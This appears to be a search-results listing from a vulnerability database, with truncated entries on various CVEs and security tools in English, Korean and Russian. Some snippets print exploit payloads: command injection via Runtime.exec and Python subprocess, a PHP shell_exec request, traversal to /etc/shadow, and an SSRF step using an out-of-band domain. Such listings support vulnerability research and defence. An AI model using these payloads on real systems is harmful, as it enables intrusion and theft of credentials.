129117 matches found
CVE-2026-103258
The n8n workflow automation tool (versions before 2.39.6 and 2.40.x before 2.40.1 ) is vulnerable to a filter bypass due to unescaped parameter interpolation in the SendGrid , Freshservice , and ServiceNow nodes. By binding vulnerable node parameters to untrusted external input, an attacker can b...
CVE-2020-24148
CVE-2020-24148 Серверная подделка запросов SSRF в плагине Import XML and RSS Feeds import-xml-feed 2.0.1 для WordPress через параметр data в действии moovereadxml. Уязвимый код: /moove-actions.php: ... public function moovereadxml $args = array 'data' = escsql wpunslash $POST'data' , 'xmlaction' ...
compaXSS
CompaXSS XSS 반사형 크로스 사이트 스크립팅 우회하기 ======= Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 개발자 Jose Pino - @jofpin Juan Eljach - @juaneljach...
cve-2022-22980
spring-data-mongodb-cve-2022-22980-exp 계륵 같은 취약점, 그냥 기록용. 1. redis 실행, 27017 포트 2. 프로젝트 실행, springboot는 6666 포트에서 실행 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language:...
CVE-2026-83589
A flaw was found in oauth-proxy. The application fails to properly validate the destination redirect parameter rd during post-login redirection. A remote attacker can exploit this vulnerability by enticing a user to follow a specially crafted link, resulting in the user being redirected to an...
CVE-2026-75786
Unsanitized concatenation of the module parameter in the Grafana datasource endpoint allows authenticated blind SQL injection. Affects Pandora FMS from 777 onwards...
CVE-2026-7173
CVE-2026-7173: Cross-Site Scripting vulnerability in Entradium, by Crocantickets. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to the victim and steal their session data. Stored XSS The City parameter in the endpoint /events//editgeneral during...
CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
PRTG-Network-Monitor-Information-Disclosure - CVE-2020-11547 인증되지 않은 원격 사용자는 'type' 매개변수를 제공하여 /public/login.htm 또는 /index.htm에서 HTTP 요청을 조작할 수 있습니다. 예시: http://127.0.0.1/public/login.htm?type=probes probes를 다음 중 하나로 바꾸면 다른 정보를 얻을 수 있습니다. version cpuload dnsname serverhttpurl windowsversion...
CVE-2022-41040-POC
CVE-2022-41040-POC CVE-2022-41040 - Microsoft Exchange Server의 서버 측 요청 위조SSRF 수동 악용 1. COLLABHERE를 당신의 OOB 도메인으로 바꾸세요 - sed 's/COLLABHERE//g 2. 테스트하려는 URL 옆에 페이로드를 추가하세요 - echo http://target.com|unfurl format %s://%d/ 3. 조작된 URL을 방문하세요 4. 협력자 도구를 확인하세요 페이로드:...
CVE-2026-7175
The Entradium platform by Crocantickets is vulnerable to a script injection flaw in the My Profile section. Specifically, the Business Name parameter within the /promoters/edit endpoint fails to properly sanitize input, allowing for the injection of JavaScript code . This malicious script can exe...
CVE-2021-27905
CVE-2021-27905 Apache Solr ReplicationHandler 서버 측 요청 위조 SSRF Hit Counter Apache Solr Searching On Lucene with Replication의 약자는 Apache Lucene 라이브러리 기반의 무료 오픈소스 검색 엔진입니다. Java로 작성되었습니다. Apache Solr은 RESTful XML/HTTP 및 JSON API를 제공하며, Java, Python, Ruby, C, PHP 등 다양한 프로그래밍 언어를 위한 클라이언트 라이브러리를 갖추고 있...
Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter
Nuclei 템플릿 F5 BIG-IP iControl REST 인증 우회 RCE 익스플로잇 | 명령 매개변수 CVE-2022-1388은 BIG-IP iControl API의 REST 구성 요소에 대한 인증 우회 취약점으로, CVSSv3 점수 9.8을 부여받았습니다. iControl REST API는 BIG-IP 장치의 관리 및 구성에 사용됩니다. CVE-2022-1388은 BIG-IP를 사용하는 장치의 관리 포트 또는 자체 IP 주소에 네트워크 접근 권한이 있는 인증되지 않은 공격자에 의해 악용될 수 있습니다. 악용에 성공하면...
dalfox
Dalfox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities. Key features Subcommands...
dalfox
Dalfox는 자동화에 중점을 둔 강력한 오픈소스 도구로, XSS 취약점을 신속하게 스캔하고 파라미터를 분석하는 데 이상적입니다. 고급 테스트 엔진과 특화된 기능은 취약점 탐지 및 검증 과정을 간소화하도록 설계되었습니다. 주요 기능 하위 명령어: scan URL / 파일 / 파이프 / raw-HTTP, 자동 감지, server, payload, mcp 탐지: 파라미터 분석, 정적 분석, BAV 테스트, 파라미터 마이닝 XSS 스캐닝: 반사형Reflected, 저장형Stored, SXSS, DOM 기반, 최적화 및 DOM/AST...
CVE-2024-29973
CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...
cve-2021-45043
cve-2021-45043 HD-Network 실시간 모니터링 시스템 2.0은 /language/lang sLanguage 매개변수를 통해 ../ 디렉터리 트래버설을 허용하여 /etc/shadow를 읽을 수 있습니다. 최초 게시물 https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f Burp를 통한 익스플로잇 GET /language/lang HTTP/1.1 Host: IP.target Cookie:...
CVE-2020-17496
CVE-2020-17496 POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo shellexec"pwd"; exit;...
CVE-2024-58290-Xhibiter-SQLi
CVE-2024-58290-Xhibiter-SQLi Xhibiter NFT Marketplace 1.10.2 Collections Endpoint의 SQL 인젝션에 대한 개념 증명PoC. 발견자: Sohel Yousef. CVE-2024-58290: Xhibiter NFT Marketplace SQL 인젝션 익스플로잇 제목: Xhibiter NFT Marketplace 1.10.2 - SQL 인젝션 인증되지 않음 날짜: 2024-12-11 익스플로잇 작성자: Sohel Yousef 공급업체 홈페이지:...
BIT-RABBITMQ-2026-67224 RabbitMQ: Admin path-traversal write via trace name
RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.1, The trace consumer constructs the output path as filename:joinTraceDir, Name ++ ".log" where Name comes from PUT /api/traces/:vhost/:name. No saferelativepath / traversal check is applied on...
